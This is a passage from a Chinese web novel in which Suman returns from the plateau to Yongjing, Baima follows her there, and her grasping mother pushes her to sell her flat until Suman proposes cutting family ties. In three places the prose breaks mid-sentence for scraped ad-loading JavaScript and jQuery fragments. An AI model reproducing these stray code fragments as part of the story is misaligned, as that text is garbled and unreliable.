“明天,我们大概要早点出发。可能六点半就要走了。” 长西飞兰城的航班每天只有上午一班,一个小时到兰城,然后再从兰城转机到永京,大概需要晚上才能到了。 苏曼回避着离别,却又逼着自己去想回永京的事。 而白玛却一瞬间从云端跌到了海底,他的心陡然颤了颤,像是有个锥子钻了进去,揪着他的心拧了一拧。 “嗯。那我今晚不睡了。” 白玛默声走在苏曼的身边,陪着她吹风晒日,这是他们在一起,最后的时光了。 43. 第43章 白玛一夜未睡,他恨不得能一直守在酒店的楼下。六点钟的天已经有了蒙蒙亮,他早早就出发了,坐在车里还等了十多分钟。 抽烟的手,伸出车窗外,冻的冷飕飕的。他想给苏曼发条微信,告诉她多穿一点,但又害怕她还未起,又想让她多睡一会儿。 六点半,苏曼准时推着行李箱从酒店里走了出来。 还是那个银色的行李箱,白玛还记得那天她在草地上拉着行李箱狼狈的样子,还记得当时她那张洁白的脸,在日光下发光的样子。 “姐姐。早餐。” 白玛把奶茶和锅盔塞给了苏曼,又帮着把行李箱放进了后备箱。苏曼自己坐进了副驾驶。 车子缓缓的开了起来,慢慢的驶出这个高原上的偏远县城,在微亮的晨曦中,就那么悄无声息的离开了。 苏曼一直没有说话,她也不知道该说些什么。只是默默的努力的啃着锅盔,这一定又是白玛妈妈亲手做的。 白玛脸色凝重,他甚至都忘了打开他最喜欢的音乐,忘了深踩一脚油门,车子就那么缓慢的开在318国道上,向着一个他最不喜欢的方向走。 灰白的天逐渐亮了起来,一直到金日升起,天色由白转蓝,清冷的空气扑在玻璃窗上。 今天天气很好,也没有要下雪的迹象。每天的一趟航班,经常会因为高原上变幻莫测的天气原因取消。可今天的天,高的看不到一朵白云,湛蓝湛蓝的像个幕布一样挂在天上,包裹着这个大地。 车了开了许久,白玛终于说出了那句话:“姐姐,我舍不得你走。” 苏曼紧咬着唇,不让眼泪掉下来。她好像要离开一个温暖的地方,去向冰冷的世界了。以前的她不怕冷,可享受过温暖后,她开始厌恶那股寒冷了。 她甚至都说不出“后会有期”。 车内一直沉默,只听到车外呼呼的风声,和轮胎摩擦地面的声音。 白玛的双眼炯炯的望着远方,绵长的公路看不到尽头,却有一个尽头在等着他。他紧闭双唇,似乎能听到自己心跳的声音。 他知道,此别,再无归期。 长西机场的广告牌,远远的就能看到了,在矮山下那一群灰色的建筑物,就是他们将要分别的地方。 车子驶进了那个简陋的草坪停车场。熄火、拉手刹,白玛坐在车里,不想下车。 “到了。”白玛缓缓的说。 “嗯。” 白玛趴在方向盘上,将脸埋下,苏曼沉默的坐着,最后还是推开了车门。 “姐姐,等等我。” 白玛也迅速了下了车,往后备箱走去,取出了苏曼的行李箱。他将行李箱的把手紧紧的抓着,紧闭着嘴一直望着苏曼。 他知道,他恋恋不舍。 苏曼望着白玛,眼里尽是无奈。生活将他们分开,生活安排了一切。 白玛上前,抱住了苏曼,将她抱进了怀里。默默无声。 苏曼没有挣脱,将脸贴在他宽厚的胸前,闻着他身上独有的味道,和那剧烈跳动的声音。 白玛的眼睛湿润了,他的鼻子发酸,但他不敢哭,一个男人,怎么可以哭。 苏曼的泪,却缓缓的流了下来,渗在了白玛的胸前。 过了许久。 “我走了......” “嗯......” 白玛放开苏曼,看了看机场的大门。那是将他们隔绝的大门。 苏曼别过头,擦了擦眼睛,她咬着唇,站在白玛的身边。 白玛拖起行李箱,向那个大门走去,苏曼红着眼,一片迷茫的跟着。 分别,真不是个好词。分别,原来并不是那么无关紧要。 办好登机牌,望着苏曼走向安检,她的个子那么小,在人群中那么柔弱,可是在白玛的眼里却是闪闪发光,他多想一直保护着她。 “姐姐!给我打电话!”白玛冲着安检口喊着! 苏曼忍着泪,冲他点点头。 直到苏曼的身影,消失在安检后的拐角处。 苏曼不敢回头,她怕看到白玛的眼睛,他那清澈而又专注的眼睛。她这辈子都没见过的最美的眼睛。 - 庞大的铁鸟载着苏曼飞过高原,跨过一片片神奇的山脉。 在这肃远的深脉里,有这么一个可爱的民族,他们与世隔绝的唱着自己淳朴动人的歌。生命在这片高原上,有她自己优美的旋律。 苏曼带着满载的情感与能量,离开了这个纯净世界。 还有那个名字叫白玛的,最美好的男孩。 落地永京,苏曼的心,变的和这里的天空一样,灰蒙蒙的。 她似乎回到了现实世界,而那个叫巴龙县的遥远的高原,像是一场梦或是一个虚幻的游戏世界。 此刻,她脱离梦境醒来,此刻,她从游戏中下线了。 家,很大,但是尘雾干涩,家具华丽,却毫无气色。她开始怀念白玛家那没有涂过漆的坦露的原木旧柜,怀念那窄而长的长凳,还有那个热气腾腾的火炉。 “李总,我回来了。随时可以上班了。” 苏曼给公司报个到,她想尽快投入到工作中去。她不想给自己多余的时间去想,想迅速回归以前那个,只会奔命挣钱的自己。 摊开行李,将脏衣服一件一件扔到洗衣机里,手机发出荧光。 “苏总,玩的开心吧。是这样的,最近公司有些变动,上面领导招了个大厂的过来,可能会有一些岗位调整,等你到公司我再跟你细说哈!” “没事,李总,您直接说吧。” “可能会调你去运营岗,你这个岗位也不能缺人缺太久,刚好有个人合适,就进来了。” 这是用完就把她给顶了。 苏曼扯了扯嘴角,瞬间能确认,自己是真的回到了现实世界。 苏曼在这个岗位上苦熬了三年,才有了今天的成绩。这是空降一个所谓的大厂的人,就直接把她的果子给摘了。 真是一个弱肉强食的残酷世界。 “李总,运营岗可能不是我的方向,您看,明天让HR跟我谈吧。” 苏曼恢复了原来那个职场上强硬的自己,这是她给自己铸造的坚硬的保护色。 “呃......赔偿金已经定好了。你要是方便的话,明天过来直接办就行了。” “好,谢谢李总。” 刚拿完丰厚奖金,又拿赔偿金,这似乎也不赖。苏曼想起白玛说的,接受它,放下它。 凡事总有好的一面。 苏曼很快就平静了下来,以她的过往战绩,重新找份工作是不难的。 正好,再多歇两天吧。 - 白玛开着空空的车子回到家里。 机场 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到村子里的路并不路过县城,但是他还是把车开到了假日酒店的门口,在车里默默的抽了根烟。 白玛一回到家,白玛妈妈就跟他说,今天早上发现他们送给三舅舅家的母马,今年生的那匹小马,昨晚又被狼吃掉了。早上大舅舅帮着带人去找了好久,终于在山上找到,小马的身子被吃的只剩下一半了。 白玛妈妈伤心极了,她见不得小马死去,那是多么可爱而又鲜活的一条生命。 今年小马刚生下的时候,她还在一直夸小马可爱,她是多么希望三舅舅的日子能凭着这匹母马而变好,顺利的把小马养大,再卖个好价钱。 可是去年的小马被狼吃了,今年的小马又被狼吃了。这真不是一个好的兆头。 “白玛,你舅舅没有福报哦。每年小马都被狼吃掉。你还是去把那匹母马拿回来吧,我们自己养,以后每年生的小马再给他。” 经过这件事,白玛妈妈相信,三舅舅是个没有福报的人。他妻子早亡,独自带着一个女儿,还跛着脚,过着穷苦的日子,又连续两年都养不活一匹小马。 把母马拿回来,是对他好。不然,可能这匹母马都要养不活了。 “好的,阿妈。” 原本就心情不好的白玛,听到小马被吃掉的消息,心情更是掉到了谷底。今天没有一件事情是开心的。 他走去了三舅舅家,跟三舅舅讲完,把那匹母马牵了回来。今年收成不好,生的两匹小马都没有活,花十四万买的外地马还让阿妈送给了甲尕爸爸。 甲尕也死了。 生命无常,人和动物的生命,在无常面前,是如此的平等。 在这短暂的无常的一生里,白玛想要过自己想要的生活。 他坐在院子门口,望着大大的院子,太阳直直的晒着他的脸,眼泪不自觉的流了下来。 才分别,他就开始想念。想念每天和苏曼在一起的日子。 那个漫长的遥远的时空,将他的心全部掏空了。他失去了那个填满心的东西。 永京,永京到底有多远?这两个字一直盘旋在白玛的脑海。 永京,就是那个可以打破时空的东西。他想去打破它。勇敢一点,是不是就可以打破它。 他站起身,进了屋里。 “阿妈。” 白玛妈妈回过头,看着白玛,发现他哀伤极了,眼睛红红的。 “怎么了?” “我想去永京。” 白玛坚定的看着阿妈,似是认定,又是恳求。 白玛妈妈看了一会儿他的眼睛,低头转过身去,在地上的小凳子上坐了下来。 “你想去,你就去吧。你自己想好。” “嗯。” 白玛转过身,擦了擦眼角,心里顿时松散开来。清洁的空气冲进了他的胸腔,填满了氧气。 仿佛阿妈给了他翅膀,他马上就可以翱翔,到自己想去的地方。 他终于长大了,可以自由的飞,飞去那个他放不下的人的身边。 他将自己当成了那个人的保护神,他要像草原上的雄鹰一样盘旋在她的身边。 白玛又跑进屋里,轻轻的抱着阿妈。 阿妈矮小的身子,在他的怀里,读懂了他的心。 阿妈是世界上最好的阿妈。 是她给了白玛那双雄鹰的翅膀,是她给了白玛自由的心。 44. 第44章 窗户很大,屋内很深,即使外面的阳光再好,也只是能打到地面,却晒不满整个屋子。 从毕业工作到现在,苏曼就从来没有停下来过。如今正好可以真正的停下来,审视一下过去的自己,和未来的自己。 以前的她焦虑买房,买完房焦虑存款,有了存款又焦虑工作。如今,她不再焦虑工作了,她已经得到了许多,老天爷总是公平的,让她失去了一些东西,就会让她获得一些。 她不再惧怕,不再因为惧怕而不停的奔跑。因为白玛妈妈说过,幸福和金钱是没有关系的。 她翻看着手机里白玛妈妈的照片,是她在她不注意的时候偷拍的一张背影。 腰间裹着很旧的长裙,完全看不出腰身,岁月将她的身子压下,但就是这个小小的身子,撑起了一个家,给三个小孩撑起了一片温暖世界。 她真羡慕白玛。 “姐姐,我到永京了,你来接我可以吗?” 微信弹出。 苏曼惊诧的瞪大了双眼,死死的盯着那几个字。 她的心跳的飞快。这个白玛,是从草原上莽过来的吗? 她把电话打过去:“白玛!你怎么到永京了?你已经到了吗?你现在在哪里?” “姐姐,我在火车站呢。你来接我吧。我不认路呢。” “你在那里等着!我现在就过来!” “好的,姐姐。” 挂掉电话,苏曼迅速的换衣,抓起车钥匙就往外跑。 这个白玛,草原上的汉子都是这样的吗?苏曼又好气又好笑,不知不觉眼里又含了泪。 他到底是怎么样的一个男孩子啊,为什么自己的心里会这么......暖。 - 人群中,那个高高的,朴素的男孩,就站在那里。 苏曼朝他跑了过去,白玛却害羞极了,可能他不知道如何解释自己怎么来了永京。 好在苏曼并没有问。 跟着苏曼来到了停车场,苏曼娴熟的上车点火,将车子驶向车水马龙的街道。白玛望着车外看花了眼,简直都要晕掉了。 “姐姐,你们这里比兰城还要大。我在兰城都已经找不到北了。” 苏曼笑着转头看他:“这是你第一次出来吧?” “嗯!第一次下山,第一次出高原。” 白玛异常兴奋,又掩饰着自己的兴奋,他装作之前稳重的样子,可是在永京的苏曼面前,他感觉自己瞬间渺小了起来。 “姐姐,你的车真帅。” 苏曼开着三叉SUV,是永京最大众的一款高端车,在高原上却不多,高原上的SUV大多都是硬汉式的,动力也更足。 “你想开吗?给你试试?” “哎哟,我可不敢,你们这里车太多了,路我都走不好,红绿灯我都看不明白。” “还不都一样嘛。” 白玛嘿嘿笑着,他终于见到了苏曼,他的心里终于不堵着了。 他为了她,第一次下高原,第一次走出山脉。 苏曼心情触动,她从未想过,他们的再见,是这样的。是因为白玛的勇敢。 “我带你玩几天吧。正好这些天我有空。” “好的,姐姐。” 白玛抱着安全带,靠在车窗边,坐在苏曼的车里,这一切,都像梦一样。 苏曼把白玛带到了自己的家里。 她有一个大大的三室一厅的房子,是当初想着,若未来母亲需要她来照顾,那么一家人就可以住在一起了。 可是,母亲根本看不上她,她看上的只是她的房子。 她的母亲,从始至终都没想过,要跟苏曼一起养老。她会守着她的小儿子。 房子很空,另外两个房间一直都是空置着的,有一间做了书房,但她也很少进去。另外一件是客房,一直为母亲留着。 没想到,第一个住进那个房间的人,竟然是白玛。 “白玛,这个房间从来没有人住过,你是第一个。” 苏曼带白玛参观她的大房子,满心是骄傲,但是又觉得可能白玛并不会和她一样庸俗。 她想起那句话:我在乎的是你过的好不好,而不是你飞的高不高。 用在白玛身上,再贴切不过了。 “你用外边这个卫生间。我用里面那个。” 白玛没想到,家里竟然卫生间都有两个。更没想到,姐姐,竟然这么有钱。 在他眼里,这已经是非常非常成功了。 可是,这么成功的姐姐,她还是不开心。 苏曼给白玛放了一浴缸的热水,让他在里面的那个卫生间好好的泡个澡,祛除长途火车上的疲惫。再又给他做了一碗水果沙拉,还专门拿出了一个小碗,给他做烟灰缸。 他也是第一个来她家里的男人。 原来,只要勇敢,就可以来到她家。 白玛既害羞,又坚定。他努力的做出男子汉的样子,无所畏惧的样子,跟在苏曼的身后,听她的安排。乖乖的洗澡,乖乖的吃水果。 最后两个人舒服的窝在沙发上,像之前在他家一样,两人躺倒在长凳上,玩着手机。 “姐姐,你怎么不问问我,为什么来找你。” 白玛举着手机,偷偷的瞄着苏曼,最后还是忍不住的问。 苏曼转头看着他,厅里只开着电视,声音却调的很小,只有餐厅那边还亮着一盏黄灯,白玛的脸在昏黄中让她感觉好不真实。 “你之前不是跟次仁说过,要来永京玩嘛,我就带你玩两天。” 苏曼避开了他的问题。 白玛低下头去,继续盯着自己的手机,他抿起了唇。 “姐姐,因为我想你了。你一走,我就想你了。”白玛有些委屈。 苏曼轻轻的笑了笑:“这才几天啊,你就想我。” 结果迎来了白玛不高兴的眼神,苏曼更是笑的开心了:“逗你呢。” 白玛把腿伸了出去,做出舒展的姿势:“姐姐,你的沙发真舒服。” “明天想去哪?” 苏曼想带白玛好好看看永京,这真是没有想到的意外,但是却让她特别特别的高兴,好像他们又有事情可以做了。 “我不知道呀!姐姐你带我去哪,我就去哪。”白玛又起身用叉子叉起一个水果,放到了嘴里。这些水果真好吃,里面的沙拉酱是甜甜的。 “好。” - “你来开车吧。我习惯了你开车。” 苏曼把车钥匙交给白玛,白玛想伸手,又缩了回来:“不行,我怕我开不好。” “你的车技没问题的,我给你导航。我可不想一天开那么多车,累死了。” 白玛听见姐姐说“累死了”,只好接过车钥匙,永京那么大,昨天从火车站开回家都开了一个小时,今天又要开着车带他到处玩,那肯定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是会很累。 “好吧。” 白玛兴奋的坐进了驾驶室,苏曼教着他调整了座椅,然后白玛又帮苏曼把安全带系好,两个人愉快的出发了。 他们去逛了街,苏曼还给白玛买了一件漂亮的T恤,白玛害羞极了,但是却又兴奋的马上穿上了它。 “洗好了再穿嘛。” “不要!我现在就穿。” 白玛跟在小小的苏曼身后,照样帮她背着小包包,像在高原上一样。他看见街上也有很多男孩子也帮女孩子背包,就像他和苏曼一样。 他们还一起去吃了日本料理,可是白玛却说他们高原人是不吃鱼肉的,苏曼竟然忘了这一层,她只是想着带他吃点不一样的。最后白玛只好塞了许多个蔬菜饭团子。 他们又一起去看了一场电影,苏曼特意选了3D的,她想让白玛感受一下3D的震撼。 这些,都是白玛的第一次。 第一次收到别人送的衣服,第一次吃日本料理,第一次看电影。 他想把他的许多第一次,都给苏曼。 “姐姐,我把我的第一次都给你了。”白玛呲着牙笑着对苏曼说, 苏曼楞了一愣,这是什么话,忽然又明白了过来:“你还有什么没做过,我都带你去做。” “嗯......”白玛想了想:“我想去番家园,我们那的人说,他们的毯子好多都是从番家园买回来的。” “噢!对,那个地方最适合你去。我怎么给忘了。” 番家园,中国最大的旧货市场。它历史悠久,更像是一个博物馆,素有“鬼市”之称。 而白玛喜好的那些东西,那些民族瑰宝,都能在番家园淘到,特别是他说的那些精美的毯子。 第二天,两人就去了番家园。 苏曼还给白玛在番家园的门口拍了照片留念。白玛的那一头长发,与这个古老的市场,可真是相配。 番家园里也有许多和白玛一样从高原上下来的人,他们一样留着长发,或烫着卷发,一样有着黝黑的皮肤。 “白玛,你能听的懂他们说什么不?” 苏曼好奇的问,或许白玛还能在异乡跟他们聊上一聊,这是一件多么有意思的事情。 “姐姐,我听不懂,我们高原上每个地区说的话都不一样呢。差别很大呢。” “噢。原来如此。”苏曼关于高原的知识又增加了。 天气挺热,白玛的后背都被汗浸湿了,但是他依然劲头十足,每一个店铺,每一个摊位都要驻足。在这遥远的北方,他看到了自己家乡的东西,总是感到特别的神奇。 苏曼陪在他的身边,看着他昂首阔步,甩着长发一点也不怯场的样子,心中感叹:果然是草原上的汉子,野性而又不惧的气质,走到哪里,都是不变的。 最后毯子没有找到,白玛倒是淘到了一个古老的牛皮马鞍。老板开价八千元,最后苏曼帮着砍价到了五千。 淘到宝贝的白玛,兴奋不已,他从怀包里掏出了一沓现金,那是一万元。当着老板的面开始点了起来。 苏曼看着老板异样的眼神,转而又是理解。可能他也在想,这是一个刚从高原上下来的小伙子吧。 因为已经下来许久,生活在永京的高原人,早已学会了刷卡或者电子支付。 白玛抱着牛皮马鞍,眼放光芒的说: “姐姐,这个拿回去,我应该能卖一万。” 45. 第45章 苏曼忍不住笑了出来,好你个财迷白玛。 “好好好,回去卖一万。我明天给你发个快递,省的你带了。想买什么尽管买,我都给你一起打包发快递回去。” 巴龙县有好几个快递驿站,各个村子里的快递都只能到巴龙县,各乡各村的人需要自己去县上取。 村子里在网上买东西最厉害的要数洛绒表嫂了,洛绒表哥挣着钱,她就每天花着钱。 许多时候,白玛妈妈看见她在网上买了什么新奇玩意儿,也会拜托她帮忙在网上买,然后每次都是吩咐白玛去县上取快递。 最近一次还是洛绒表嫂买了个糖果盒,是那种有三层,展开像朵花一样的。白玛妈妈也想要,说过节的时候,家里的桌上摆那么多的吃的喝的,有了这个糖果盒,就会更漂亮了,于是拜托洛绒表嫂也帮她大大小小各种样式的买了几个。 村子里,大家也会互相帮忙取快递,谁去县上一趟,有时候会带回一堆人的快递回来。 目前只有中国邮政是可以抵达村子里的,但是只有每周四才会有车下来送货。其他快递和物流都只能到县上,而且如果七天不去取,是真的会不打招呼就被退回去的。有时候夏天的时候上山挖虫草,一个月后才下山,快递就被退回去了。 有了苏曼发快递的这法子,白玛就更愿意多买一些了。 他后来还在一个北方最大的服装批发市场,给妈妈妹妹弟弟都各买了一件羽绒服,说是他们过年的时候每个人都必须要穿新衣服的,这和汉地是一样的。 “白玛,你怎么不给自己买衣服啊?” 苏曼见白玛不像其他的高原年轻人那样,喜欢打扮,喜欢烫卷发,他总是一件卫衣一件外套,下面就是普通的牛仔裤,也不会去穿那些布灵布灵的有“气质”的衣服。 “我穿啥都行。” 那太可惜了,苏曼看着白玛这高大的身材,宽宽的肩膀,有着高度折叠度的立体轮廓帅脸,还有那一头异域长发,若是真的打扮起来,走在街上回头率一定很高。 他不爱打扮,不爱展现自己的“气质”,倒是很让苏曼欣赏,她也不喜欢那些花里胡哨又高调的男孩。 从小她就知道,实力才是最重要的,花拳绣腿一点用都没有。 逛了一天,两人又去了超市,买了一些晚上回家做饭的菜。 白玛推着超市的车子,跟在苏曼的身后,苏曼看见什么都想拿,都要问一问白玛有没有吃过,想不想吃。而白玛就傻呵呵的说:“没有吃过,都行。” 他看着在前面走的苏曼,心想,和姐姐在一起真好。 苏曼善良、随和,敏感又柔弱,在工作上十分的要强,她已经有了一定的成功,但是她还缺好大一块的幸福。 回到苏曼那个变得温暖的家,苏曼把电视打开,白玛一点一点把食物码进那个大大的冰箱里,又把自己买的马鞍和衣服放进自己的客卧。 他看着那张大大的双人床,心里想着,还是没有自己的长凳睡的舒服,这么大的床,睡的没有一点安全感。 他喜欢缩在他的长凳窄床上,把身子贴在墙上,然后两边裹紧自己的小被子。 “白玛,你会做饭不?”苏曼在厨房里喊着, “姐姐,我不会啊!我从来没有做过饭呢。” 也是,他们家都是白玛妈妈和妹妹做饭。而且他们的做饭也都是比较简单的,要么一锅菜放在炉子上乱炖,要么就炒两个青菜土豆或者尖椒牛肉。说实话,真的谈不上叫什么做菜。 “那你要不要试试啊?” 苏曼转过头继续问,白玛已经靠在了厨房的门边,他的眼睛发亮,眉眼弯弯的看着苏曼。 “我可以帮你切菜。” “好。”苏曼从门后拿下一个围裙,给白玛围上,他的腰很细,苏曼又给他刻意松了松。 “来,你把这个切了,之前也没切过吧?” “没呢。嘿嘿。” 一个洗菜,一个切菜,两个人忙忙碌碌的做同一件事情,虽然比一个人做要慢些,但是苏曼觉得真的很有意思。大概这就是温度吧。 门铃响起。苏曼擦了擦手去开门。 从猫眼望去,门外是她的母亲。 “苏曼!你回来了也不跟我说一声,我看见你家灯亮了!” 母亲连夜赶来,就是为了看晚上的屋灯。她守了她许多天了。 苏曼忙对厨房的白玛说道:“白玛,我妈妈来了。” 白玛怔在原地,手中的刀也停了下来。 苏曼打开了门。 苏曼母亲一进来就坐到了沙发上:“你怎么回事?回来了也不说一声。” 苏曼还未开口,白玛就从厨房里走了出来,围着围裙,站在厨房的门口。 “阿姨好。” “啊?你还交男朋友了?你什么时候交的?我怎么不知道?” 苏曼母亲斜着眼睛打量着白玛,这个男孩奇奇怪怪,还留着长头发,皮肤又黑又脏的样子。 “妈妈,不是。这是我朋友。暂住几天。” 说着苏曼母亲又跑到了客房去看,果然是住在客房里的。这才放下心来。 白玛听见“男朋友”三个字,心里一阵紧张,慌张的咽了咽口水。 “我跟你说,你也不用结婚,这样就挺好。结婚压力大,还要养孩子,你看你弟弟,现在我们多累,将来还要靠你帮衬,要不是......” “妈妈,你不要说这些。”苏曼打断了她。 “怎么不说,我找你不就是为这事嘛!就是给你弟弟买房子的事。房子我们也看好了,五十万,一个三居室,南北通透的,到时候我跟你叔也能一起住。” “我没钱。” 白玛看着这个传说中的苏曼的母亲,那个从小对她虐骂的母亲,发泄的母亲。 她的皮肤和苏曼一样白皙,个子小小的,样貌比阿妈要年轻多了,但是却满面愁苦,说话声音高而尖锐,看不到一点平静与幸福的气色。 “那你就把这房子卖了嘛!你一个人住这么大个房子干什么,又不用结婚,太浪费了。你换个一居室住不就够了嘛!” 白玛听的越来越气愤,但是苏曼面如灰色,却不敢反抗。 “妈妈,我不想卖。这是我的家。” “你弟弟的家不也是你的家吗?等你以后在永京混不下去了,回去你也可以住啊。” 说的轻巧。 “妈妈,你当年都没能给我一个家,现在还要拿走我自己的家吗?” 苏曼眼里已经开始含泪,白玛走了过来,轻轻的搂住她的肩膀。 “什么拿走,你再换个小的不就行了,又不是没有地方住。” 苏曼母亲再次斜眼看了一眼白玛,他们看着不像是普通朋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 友。 因为白玛在,苏曼也不想跟她母亲继续纠缠:“你先回去吧,我考虑一下。” 白玛瞪大了眼睛,这有什么好考虑的:“阿姨,你不要欺负苏曼,她也是你的女儿。” 苏曼母亲站了起来,冲着白玛道:“你在这住可以,但是你不要管我们的家事哦!” “妈妈!”苏曼喊了出来,接着又低声道:“你先回去吧。” 苏曼母亲狠狠的瞪了白玛一眼,又看了一眼苏曼,走向了大门。 大门关上,整个屋子都安静了。 苏曼坐在沙发上,白玛陪在一边,厨房里的菜只切了一半。不幸总是在你不经意间到来,打破你的平静,和本就不幸的日子。 “姐姐,你知道我为什么过来吗?我就是舍不得你,我怕你受欺负,怕我保护不了你......” 白玛伤心的看着苏曼,她受到的伤害也传递到了他的身上。 苏曼看着白玛忧伤的眼睛,眼中泪花打转,她苦笑着摇了摇头:“你帮不了我的。她还会再来。” ......血缘是永远也断不开的。 “那你怎么办?真要卖房子吗?” “我不知道。” 卖掉大房子,换一个小房子。可是,以后呢?会不会连小房子也要卖掉? “你这样不行的。你要说清楚。” “怎么说清楚?” 说的清楚吗?除非她不是她妈妈。 “你还把她当妈妈吗?她是一个真正的妈妈吗?如果都不是,那你就不要觉得她是你妈妈。你可以不听她的,或者离开她。” “断绝关系吗?” 苏曼不是没有做过,她与母亲有过两次大的争吵,曾经也是崩溃到哭着提出断绝关系,最后还是因为她善良的“原谅”而不了了之。 “嗯。” 白玛也知道这个主意不好。但是这是最能解决问题的办法。 “你记得我跟你说过,为什么有的佛像长的很凶狠吗?那叫愤怒相。慈悲,不是对每一个人的,对一些不好的人,你也可以凶狠一点。对待坏人,要像对待魔王一样。我觉得你妈妈是个坏人。” 苏曼抬起泪眼,望着白玛,白玛想给她鼓励,想帮她找到出路。 他还想,保护她。 “而且,你不是伤害她,你只是离开她,让她不能再伤害你。你这么做,也没有错的。你不要觉得愧疚。” 这个道理苏曼懂,因为她当初来到永京,就可以说是“逃”到永京的。逃离家,她才能过的更开心一些,她才能呼吸到不再压抑的空气。 可能,她逃的还不够远。她的母亲,只需要两个小时就能找到她家。 苏曼抽了张纸,擦了擦眼泪,又擤了擤鼻子:“对,白玛,你说的对。” 虽然,她也不知道她还能逃到哪里。 “姐姐,我去给你做饭吧。你在这看电视。不过我做的不好吃别怪我哦。” 白玛站了起身,眯着眼看着苏曼,想逗她开心一点。 苏曼果真笑了笑:“你行嘛?还是我帮你一起吧。” 苏曼也站了起身,两个人一起走向厨房,围着那些没洗的、和没切完的菜,又转了起来。 洗菜的和切菜的站的很近,炒菜的和看菜的也站的很近。高低两个脑袋时不时的凑在一起,欣赏着这些普通的食物。 46. 第46章 一大早,九点。门铃又响起。 “苏女士在吗?” 门外是苏曼母亲,和一位穿着西服的男人。 “苏曼,开门!”苏曼母亲喊着。 “等一下。” 苏曼过去喊白玛,今天他们没安排什么具体的去处,经过昨晚的事,他们本打算今天先睡到自然醒。 “白玛,起来了吗?我妈妈来了。” “啊?”白玛腾的从床上弹起,迅速的穿好衣服走了出来。 大门打开,苏曼看着母亲身旁的这个西服男,眉头皱紧:“怎么回事?你没回去吗?” “事不办完,我哪能回去。” 苏曼母亲领着西服男,“小王,你看看,这个房子能卖多少钱?今天你就先帮我挂上吧,尽快帮我们卖出去。” “阿姨,我们得先录视频,拍照片,然后才能上传。一会儿我就安排我同事过来,我先看看房子,然后房产证也要验一下户主。” “快,你去把房产证拿过来给他看一下。”苏曼母亲向苏曼抬着手吩咐。 “妈妈!我还没想好呢!” 苏曼十分愤怒,刚睡醒,就发生这样的事情,她很想把那个西服男直接赶出去。 “什么没想好!马上就金九银十了,现在是卖房的最好时机。” 苏曼母亲无视苏曼的愤怒,苏曼求救的望向白玛,白玛一把走向前,拉着西服男就往门外走。 “兄弟,你先回去吧,她们还没商量好呢!” “哎哎!你怎么回事?” 苏曼母亲又去扯白玛,白玛轻松的就挣开了她,继续将西服男往门外推。西服男一脸尴尬,他也是头一回遇到这样的事情,没商量好就出来挂房。 “妈妈!你回去吧!我的事你不要再管了。” “什么你的事!那你把五十万给我,我就走!” 西服男一看这情形,赶紧道:“阿姨,那我先走了。” 说着便迅速的离开了。白玛将大门关上。 苏曼母亲盯着白玛,气鼓鼓的在沙发上坐了下来:“你不卖房子也行,那你把五十万给我。” “阿姨,我没见过你这样的妈妈。我从出生到现在都没见过。” 苏曼母亲一听,涨红了脸:“小伙子,别人家的事,你不了解就不要乱说好吧。” “他了解。” 苏曼冷冷的看着她的母亲,这个从小拿她发泄,长大了拿她吸血的母亲。 “他了解什么呀!他了解他也没资格管!”苏曼的母亲还嘴硬着。 苏曼深叹一口气:“你只要五十万是吗?” “对!你房子可以不卖!你给我五十万就行,我回去给你弟弟把房子买了。” “你不要我了是吗?” “你什么意思?”苏曼母亲转动着她的眼睛, “五十万和我,你选一个。” 苏曼望向白玛,白玛坚定的站在那里,好像他就是她的能量。 苏曼咬紧下唇,这次她没有流泪,她坚定的一字一句的清楚的说: “五十万和我,你选一个。选五十万,以后你就不是我妈妈了。选我,你就回去,我不会再给你钱,但是我会给你养老送终,你生病了我会管你,你还是我妈妈。” “你怎么又来!我们的亲情是能断的嘛!我生了你,我对你是有生养之恩的,你竟然还恩将仇报,你这个没良心的人哦!” “随你怎么说,你是生了我,但你没有好好养我。而且你的生育之恩,我也已经还完了。” 这不是苏曼第一次被逼到提出“断绝关系”。 “那你给我五十万!今天能给吗?” 苏曼母亲可能觉得她甩不掉她,她永远都是她的女儿,今天先把五十万拿到手再说。 “能,但你要签一份断绝关系的证明。” 苏曼从书房拿出一张A4纸和笔,还有一个红红的油印,放在茶几上。 “写吧。写完我就给你转。” 见苏曼这么爽快,苏曼母亲再次转动眼珠,她并不知道苏曼到底有多少钱,她看着苏曼的这个大房子,忽然觉得自己要少了。 “五十万只是给你弟弟买房子的钱,你现在要断绝关系,那我以后养老怎么办?我要一百万。你应该有的,没有的话,你就把这房子卖了,以后我再也不来找你了。” 一旁的白玛被气的快要吐血了,他真的是从来没有见过这样的母亲。 而苏曼只是冷冷一笑,她的心早就已经死了,只是今天才来埋它。 虽然晚了。但,一切都是最好的安排。 “那你回去等着吧。房子卖了我再叫你过来。” “行,这样行。” 从五十万变到一百万,苏曼母亲满意的起身往门口走,“那我先回去了啊,等你钱到账了,我再过来。” 苏曼没有再回答她,她希望那扇大门尽快能关上。 断绝关系,对苏曼母亲来说就像是一件小事,轻轻松松就决定了。她的世界里原本就没有苏曼,她只有她自己的那个儿子。 而苏曼也不再对她抱有期望,期望能在她母亲身上看到什么留恋与不舍、心痛与犹豫。 “姐姐,你真的要卖房子啊?” 白玛也在沙发上坐了下来,事情变的复杂,但他相信苏曼的能力。她能靠自己在永京这样的大城市买房子,能力一定不差的,她只需要做下决定。 而今,她终于做了这个决定了。 “不用。我有钱。我只是想断了她的念想。不然以后她还会来这里找我,我说把房子卖了,她就不会再来了。” 苏曼有一些存款,加上今年的奖金,还有刚拿到的赔偿金,她不需要卖自己的家。 白玛张大嘴,看着苏曼,他没想到苏曼这么有钱,他真心替她感到高兴,虽然,也替她感到委屈。 但是人生就是这样,你没办法选择自己的父母,你也没办法要求每个人都爱你。 “那你给完她是不是就没钱了?姐姐,我可以送你一匹马,嗯,两匹也可以。” 苏曼看着白玛认真的表情,忍不住笑了起来:“哈哈,我要你的马做什么?” 白玛一听有些急了,苏曼没有理解他的意思:“马可以卖钱啊!” “哦!原来是这个意思,哈哈,我还以为你说要我养马呢。” 做下决定的苏曼,忽然觉得身心轻松了许多。虽然她不知道未来会怎样,这个母亲会不会还是她的母亲。 但是至少现在,她可以挣脱这个精神泥潭了。 